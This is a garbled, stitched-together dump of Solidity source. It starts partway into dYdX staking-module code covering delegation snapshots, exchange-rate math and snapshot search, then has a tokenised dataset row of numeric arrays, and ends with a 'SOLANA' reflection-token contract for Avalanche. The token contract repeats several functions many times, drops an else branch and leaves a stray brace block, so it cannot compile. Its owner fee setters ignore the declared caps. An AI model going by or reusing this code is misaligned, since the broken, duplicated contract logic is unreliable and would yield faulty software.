mapping(address => uint256) storage snapshotCounts,
// unused: delegates
) = _getDelegationDataByType(delegationType);
if (from != address(0)) {
mapping(uint256 => SM1Types.Snapshot) storage fromSnapshots = snapshots[from];
uint256 fromSnapshotCount = snapshotCounts[from];
uint256 previousBalance = 0;
if (fromSnapshotCount != 0) {
previousBalance = fromSnapshots[fromSnapshotCount - 1].value;
}
uint256 newBalance = previousBalance.sub(amount);
snapshotCounts[from] = _writeSnapshot(
fromSnapshots,
fromSnapshotCount,
newBalance
);
emit DelegatedPowerChanged(from, newBalance, delegationType);
}
if (to != address(0)) {
mapping(uint256 => SM1Types.Snapshot) storage toSnapshots = snapshots[to];
uint256 toSnapshotCount = snapshotCounts[to];
uint256 previousBalance = 0;
if (toSnapshotCount != 0) {
previousBalance = toSnapshots[toSnapshotCount - 1].value;
}
uint256 newBalance = previousBalance.add(amount);
snapshotCounts[to] = _writeSnapshot(
toSnapshots,
toSnapshotCount,
newBalance
);
emit DelegatedPowerChanged(to, newBalance, delegationType);
}
}
/**
* @dev Returns delegation data (snapshot, snapshotCount, delegates) by delegation type.
*
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*
* @return The mapping of each user to a mapping of snapshots.
* @return The mapping of each user to the total number of snapshots for that user.
* @return The mapping of each user to the user's delegate.
*/
function _getDelegationDataByType(
DelegationType delegationType
)
internal
view
returns (
mapping(address => mapping(uint256 => SM1Types.Snapshot)) storage,
mapping(address => uint256) storage,
mapping(address => address) storage
)
{
if (delegationType == DelegationType.VOTING_POWER) {
return (
_VOTING_SNAPSHOTS_,
_VOTING_SNAPSHOT_COUNTS_,
_VOTING_DELEGATES_
);
} else {
return (
_PROPOSITION_SNAPSHOTS_,
_PROPOSITION_SNAPSHOT_COUNTS_,
_PROPOSITION_DELEGATES_
);
}
}
/**
* @dev Returns the delegatee of a user. If a user never performed any delegation, their
* delegated address will be 0x0, in which case we return the user's own address.
*
* @param delegator The address of the user for which return the delegatee.
* @param delegates The mapping of delegates for a particular type of delegation.
*/
function _getDelegatee(
address delegator,
mapping(address => address) storage delegates
)
internal
view
returns (address)
{
address previousDelegatee = delegates[delegator];
if (previousDelegatee == address(0)) {
return delegator;
}
return previousDelegatee;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
interface IGovernancePowerDelegationERC20 {
enum DelegationType {
VOTING_POWER,
PROPOSITION_POWER
}
/**
* @dev Emitted when a user delegates governance power to another user.
*
* @param delegator The delegator.
* @param delegatee The delegatee.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
event DelegateChanged(
address indexed delegator,
address indexed delegatee,
DelegationType delegationType
);
/**
* @dev Emitted when an action changes the delegated power of a user.
*
* @param user The user whose delegated power has changed.
* @param amount The new amount of delegated power for the user.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
event DelegatedPowerChanged(address indexed user, uint256 amount, DelegationType delegationType);
/**
* @dev Delegates a specific governance power to a delegatee.
*
* @param delegatee The address to delegate power to.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
function delegateByType(address delegatee, DelegationType delegationType) external virtual;
/**
* @dev Delegates all governance powers to a delegatee.
*
* @param delegatee The user to which the power will be delegated.
*/
function delegate(address delegatee) external virtual;
/**
* @dev Returns the delegatee of an user.
*
* @param delegator The address of the delegator.
* @param delegationType The type of delegation (VOTING_POWER, PROPOSITION_POWER).
*/
function getDelegateeByType(address delegator, DelegationType delegationType)
external
view
virtual
returns (address);
/**
* @dev Returns the current delegated power of a user. The current power is the power delegated
* at the time of the last snapshot.
*
* @param user The user whose power to query.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function getPowerCurrent(address user, DelegationType delegationType)
external
view
virtual
returns (uint256);
/**
* @dev Returns the delegated power of a user at a certain block.
*
* @param user The user whose power to query.
* @param blockNumber The block number at which to get the user's power.
* @param delegationType The type of power (VOTING_POWER, PROPOSITION_POWER).
*/
function getPowerAtBlock(
address user,
uint256 blockNumber,
DelegationType delegationType
)
external
view
virtual
returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol';
import { SM1Snapshots } from './SM1Snapshots.sol';
import { SM1Storage } from './SM1Storage.sol';
/**
* @title SM1ExchangeRate
* @author dYdX
*
* @dev Performs math using the exchange rate, which converts between underlying units of the token
* that was staked (e.g. STAKED_TOKEN.balanceOf(account)), and staked units, used by this contract
* for all staked balances (e.g. this.balanceOf(account)).
*
* OVERVIEW:
*
* The exchange rate is stored as a multiple of EXCHANGE_RATE_BASE, and represents the number of
* staked balance units that each unit of underlying token is worth. Before any slashes have
* occurred, the exchange rate is equal to one. The exchange rate can increase with each slash,
* indicating that staked balances are becoming less and less valuable, per unit, relative to the
* underlying token.
*
* AVOIDING OVERFLOW AND UNDERFLOW:
*
* Staked balances are represented internally as uint240, so the result of an operation returning
* a staked balances must return a value less than 2^240. Intermediate values in calcuations are
* represented as uint256, so all operations within a calculation must return values under 2^256.
*
* In the functions below operating on the exchange rate, we are strategic in our choice of the
* order of multiplication and division operations, in order to avoid both overflow and underflow.
*
* We use the following assumptions and principles to implement this module:
* - (ASSUMPTION) An amount denoted in underlying token units is never greater than 10^28.
* - If the exchange rate is greater than 10^46, then we may perform division on the exchange
* rate before performing multiplication, provided that the denominator is not greater
* than 10^28 (to ensure a result with at least 18 decimals of precision). Specifically,
* we use EXCHANGE_RATE_MAY_OVERFLOW as the cutoff, which is a number greater than 10^46.
* - Since staked balances are stored as uint240, we cap the exchange rate to ensure that a
* staked balance can never overflow (using the assumption above).
*/
abstract contract SM1ExchangeRate is
SM1Snapshots,
SM1Storage
{
using SafeMath for uint256;
// ============ Constants ============
/// @notice The assumed upper bound on the total supply of the staked token.
uint256 public constant MAX_UNDERLYING_BALANCE = 1e28;
/// @notice Base unit used to represent the exchange rate, for additional precision.
uint256 public constant EXCHANGE_RATE_BASE = 1e18;
/// @notice Cutoff where an exchange rate may overflow after multiplying by an underlying balance.
/// @dev Approximately 1.2e49
uint256 public constant EXCHANGE_RATE_MAY_OVERFLOW = (2 ** 256 - 1) / MAX_UNDERLYING_BALANCE;
/// @notice Cutoff where a stake amount may overflow after multiplying by EXCHANGE_RATE_BASE.
/// @dev Approximately 1.2e59
uint256 public constant STAKE_AMOUNT_MAY_OVERFLOW = (2 ** 256 - 1) / EXCHANGE_RATE_BASE;
/// @notice Max exchange rate.
/// @dev Approximately 1.8e62
uint256 public constant MAX_EXCHANGE_RATE = (
((2 ** 240 - 1) / MAX_UNDERLYING_BALANCE) * EXCHANGE_RATE_BASE
);
// ============ Initializer ============
function __SM1ExchangeRate_init()
internal
{
_EXCHANGE_RATE_ = EXCHANGE_RATE_BASE;
}
function stakeAmountFromUnderlyingAmount(
uint256 underlyingAmount
)
internal
view
returns (uint256)
{
uint256 exchangeRate = _EXCHANGE_RATE_;
if (exchangeRate > EXCHANGE_RATE_MAY_OVERFLOW) {
uint256 exchangeRateUnbased = exchangeRate.div(EXCHANGE_RATE_BASE);
return underlyingAmount.mul(exchangeRateUnbased);
} else {
return underlyingAmount.mul(exchangeRate).div(EXCHANGE_RATE_BASE);
}
}
function underlyingAmountFromStakeAmount(
uint256 stakeAmount
)
internal
view
returns (uint256)
{
return underlyingAmountFromStakeAmountWithExchangeRate(stakeAmount, _EXCHANGE_RATE_);
}
function underlyingAmountFromStakeAmountWithExchangeRate(
uint256 stakeAmount,
uint256 exchangeRate
)
internal
pure
returns (uint256)
{
if (stakeAmount > STAKE_AMOUNT_MAY_OVERFLOW) {
// Note that this case implies that exchangeRate > EXCHANGE_RATE_MAY_OVERFLOW.
uint256 exchangeRateUnbased = exchangeRate.div(EXCHANGE_RATE_BASE);
return stakeAmount.div(exchangeRateUnbased);
} else {
return stakeAmount.mul(EXCHANGE_RATE_BASE).div(exchangeRate);
}
}
function updateExchangeRate(
uint256 numerator,
uint256 denominator
)
internal
returns (uint256)
{
uint256 oldExchangeRate = _EXCHANGE_RATE_;
// Avoid overflow.
// Note that the numerator and denominator are both denominated in underlying token units.
uint256 newExchangeRate;
if (oldExchangeRate > EXCHANGE_RATE_MAY_OVERFLOW) {
newExchangeRate = oldExchangeRate.div(denominator).mul(numerator);
} else {
newExchangeRate = oldExchangeRate.mul(numerator).div(denominator);
}
require(
newExchangeRate <= MAX_EXCHANGE_RATE,
'SM1ExchangeRate: Max exchange rate exceeded'
);
_EXCHANGE_RATE_SNAPSHOT_COUNT_ = _writeSnapshot(
_EXCHANGE_RATE_SNAPSHOTS_,
_EXCHANGE_RATE_SNAPSHOT_COUNT_,
newExchangeRate
);
_EXCHANGE_RATE_ = newExchangeRate;
return newExchangeRate;
}
}
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.7.5;
pragma abicoder v2;
import { SM1Types } from '../lib/SM1Types.sol';
import { SM1Storage } from './SM1Storage.sol';
/**
* @title SM1Snapshots
* @author dYdX
*
* @dev Handles storage and retrieval of historical values by block number.
*
* Note that the snapshot stored at a given block number represents the value as of the end of
* that block.
*/
abstract contract SM1Snapshots {
/**
* @dev Writes a snapshot of a value at the current block.
*
* @param snapshots Storage mapping from snapshot index to snapshot struct.
* @param snapshotCount The total number of snapshots in the provided mapping.
* @param newValue The new value to snapshot at the current block.
*
* @return The new snapshot count.
*/
function _writeSnapshot(
mapping(uint256 => SM1Types.Snapshot) storage snapshots,
uint256 snapshotCount,
uint256 newValue
)
internal
returns (uint256)
{
uint256 currentBlock = block.number;
if (
snapshotCount != 0 &&
snapshots[snapshotCount - 1].blockNumber == currentBlock
) {
// If there was a previous snapshot for this block, overwrite it.
snapshots[snapshotCount - 1].value = newValue;
return snapshotCount;
} else {
snapshots[snapshotCount] = SM1Types.Snapshot(currentBlock, newValue);
return snapshotCount + 1;
}
}
/**
* @dev Search for the snapshot value at a given block. Uses binary search.
*
* Reverts if `blockNumber` is greater than the current block number.
*
* @param snapshots Storage mapping from snapshot index to snapshot struct.
* @param snapshotCount The total number of snapshots in the provided mapping.
* @param blockNumber The block number to search for.
* @param initialValue The value to return if `blockNumber` is before the earliest snapshot.
*
* @return The snapshot value at the specified block number.
*/
function _findValueAtBlock(
mapping(uint256 => SM1Types.Snapshot) storage snapshots,
uint256 snapshotCount,
uint256 blockNumber,
uint256 initialValue
)
internal
view
returns (uint256)
{
require(
blockNumber <= block.number,
'SM1Snapshots: INVALID_BLOCK_NUMBER'
);
if (snapshotCount == 0) {
return initialValue;
}
// Check earliest snapshot.
if (blockNumber < snapshots[0].blockNumber) {
return initialValue;
}
// Check latest snapshot.
if (blockNumber >= snapshots[snapshotCount - 1].blockNumber) {
return snapshots[snapshotCount - 1].value;
}
uint256 lower = 0;
uint256 upper = snapshotCount - 1;
while (upper > lower) {
uint256 center = upper - (upper - lower) / 2; // Ceil, avoiding overflow.
SM1Types.Snapshot memory snapshot = snapshots[center];
if (snapshot.blockNumber == blockNumber) {
return snapshot.value;
} else if (snapshot.blockNumber < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return snapshots[lower].value;
}
}
| Update storage. (Shared storage slot.) | _GLOBAL_INDEX_TIMESTAMP_ = intervalEnd.toUint32();
| 204,009 | [
1,
1891,
2502,
18,
261,
7887,
2502,
4694,
12998,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
389,
20402,
67,
9199,
67,
17201,
67,
273,
3673,
1638,
18,
869,
5487,
1578,
5621,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43114/0x3096664815641DA20226D570fDbCE53088B570eE/sources/Solana.sol | JOE ROUTER Max TX amount is 1% of the total supply. Maximum wallet size is 2% of the total supply. 0.05% of Total Supply | contract SOLANA is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isSniper;
mapping (address => bool) private _liquidityHolders;
uint256 private constant MAX = ~uint256(0);
uint8 private _decimals = 9;
uint256 private _decimalsMul = _decimals;
uint256 private _tTotal = startingSupply * 10**_decimalsMul;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "SOLANA";
string private _symbol = "SOLANA";
uint256 private _previousReflectFee = _reflectFee;
uint256 private maxReflectFee = 800;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private maxLiquidityFee = 800;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private maxMarketingFee = 800;
IJoeRouter02 public dexRouter;
address public lpPair;
address private _routerAddress = 0x60aE616a2155Ee3d9A68541Ba4544862310933d4;
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
address payable private _marketingWallet;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 private maxTxDivisor = 100;
uint256 private _maxTxAmount = (_tTotal * maxTxPercent) / maxTxDivisor;
uint256 private _previousMaxTxAmount = _maxTxAmount;
uint256 private maxWalletDivisor = 1000;
uint256 private _maxWalletSize = (_tTotal * maxWalletPercent) / maxWalletDivisor;
uint256 private _previousMaxWalletSize = _maxWalletSize;
uint256 private numTokensSellToAddToLiquidity = (_tTotal * 5) / 10000;
bool private sniperProtection = true;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private immutable snipeBlockAmt;
uint256 public snipersCaught = 0;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (uint256 _snipeBlockAmt) payable {
_tOwned[_msgSender()] = _tTotal;
_rOwned[_msgSender()] = _rTotal;
snipeBlockAmt = _snipeBlockAmt;
_marketingWallet = payable(_msgSender());
IJoeRouter02 _dexRouter = IJoeRouter02(_routerAddress);
lpPair = IJoeFactory(_dexRouter.factory())
.createPair(address(this), _dexRouter.WAVAX());
dexRouter = _dexRouter;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_liquidityHolders[owner()] = true;
_isExcluded[address(this)] = true;
_excluded.push(address(this));
_isExcluded[owner()] = true;
_excluded.push(owner());
_isExcluded[_marketingWallet] = true;
_excluded.push(_marketingWallet);
_isExcluded[lpPair] = true;
_excluded.push(lpPair);
_approve(_msgSender(), _routerAddress, _tTotal);
_isSniper[0xE4882975f933A199C92b5A925C9A8fE65d599Aa8] = true;
_isSniper[0x86C70C4a3BC775FB4030448c9fdb73Dc09dd8444] = true;
_isSniper[0xa4A25AdcFCA938aa030191C297321323C57148Bd] = true;
_isSniper[0x20C00AFf15Bb04cC631DB07ee9ce361ae91D12f8] = true;
_isSniper[0x0538856b6d0383cde1709c6531B9a0437185462b] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function totalSupply() external view override returns (uint256) { return _tTotal; }
function decimals() external view override returns (uint8) { return _decimals; }
function symbol() external view override returns (string memory) { return _symbol; }
function name() external view override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner(); }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transferBatch(address[] calldata recipients, uint256[] calldata amounts) public returns (bool) {
require(recipients.length == amounts.length,
"Must be matching argument lengths");
uint256 length = recipients.length;
for (uint i = 0; i < length; i++) {
require(transfer(recipients[i], amounts[i]));
}
return true;
}
function transferBatch(address[] calldata recipients, uint256[] calldata amounts) public returns (bool) {
require(recipients.length == amounts.length,
"Must be matching argument lengths");
uint256 length = recipients.length;
for (uint i = 0; i < length; i++) {
require(transfer(recipients[i], amounts[i]));
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function isSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function removeSniper(address account) external onlyOwner() {
require(_isSniper[account], "Account is not a recorded sniper.");
_isSniper[account] = false;
}
function setSniperProtectionEnabled(bool enabled) external onlyOwner() {
require(enabled != sniperProtection, "Already set.");
sniperProtection = enabled;
}
function setTaxFeePercent(uint256 reflectFee) external onlyOwner() {
_reflectFee = reflectFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMarketingFeePercent(uint256 marketingFee) external onlyOwner() {
_marketingFee = marketingFee;
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner() {
_maxTxAmount = _tTotal.mul(percent).div(divisor);
maxTxAmountUI = startingSupply.mul(percent).div(divisor);
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner() {
_maxWalletSize = _tTotal.mul(percent).div(divisor);
maxWalletSizeUI = startingSupply.mul(percent).div(divisor);
}
function setMarketingWallet(address payable newWallet) external onlyOwner {
require(_marketingWallet != newWallet, "Wallet already set!");
_marketingWallet = payable(newWallet);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function _hasLimits(address from, address to) private view returns (bool) {
return from != owner()
&& to != owner()
&& !_liquidityHolders[to]
&& !_liquidityHolders[from]
&& to != burnAddress
&& to != address(0)
&& from != address(this);
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
} else {
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
receive() external payable {}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from
, address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to))
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_hasLimits(from, to)
&& to != _routerAddress
&& to != lpPair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(contractBalanceRecepient + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify
&& to == lpPair
&& swapAndLiquifyEnabled
) {
if (overMinTokenBalance) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _transfer(
address from
, address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to))
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_hasLimits(from, to)
&& to != _routerAddress
&& to != lpPair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(contractBalanceRecepient + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify
&& to == lpPair
&& swapAndLiquifyEnabled
) {
if (overMinTokenBalance) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _transfer(
address from
, address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to))
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_hasLimits(from, to)
&& to != _routerAddress
&& to != lpPair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(contractBalanceRecepient + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify
&& to == lpPair
&& swapAndLiquifyEnabled
) {
if (overMinTokenBalance) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _transfer(
address from
, address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to))
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_hasLimits(from, to)
&& to != _routerAddress
&& to != lpPair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(contractBalanceRecepient + amount <= _maxWalletSize, "Transfer amount exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (!inSwapAndLiquify
&& to == lpPair
&& swapAndLiquifyEnabled
) {
if (overMinTokenBalance) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function _transfer(
address from
, address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(_hasLimits(from, to))
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_hasLimits(from, to)
&& to != _routerAddress
&& to != lpPair
) {
uint256 contractBalanceRecepient = balanceOf(to);
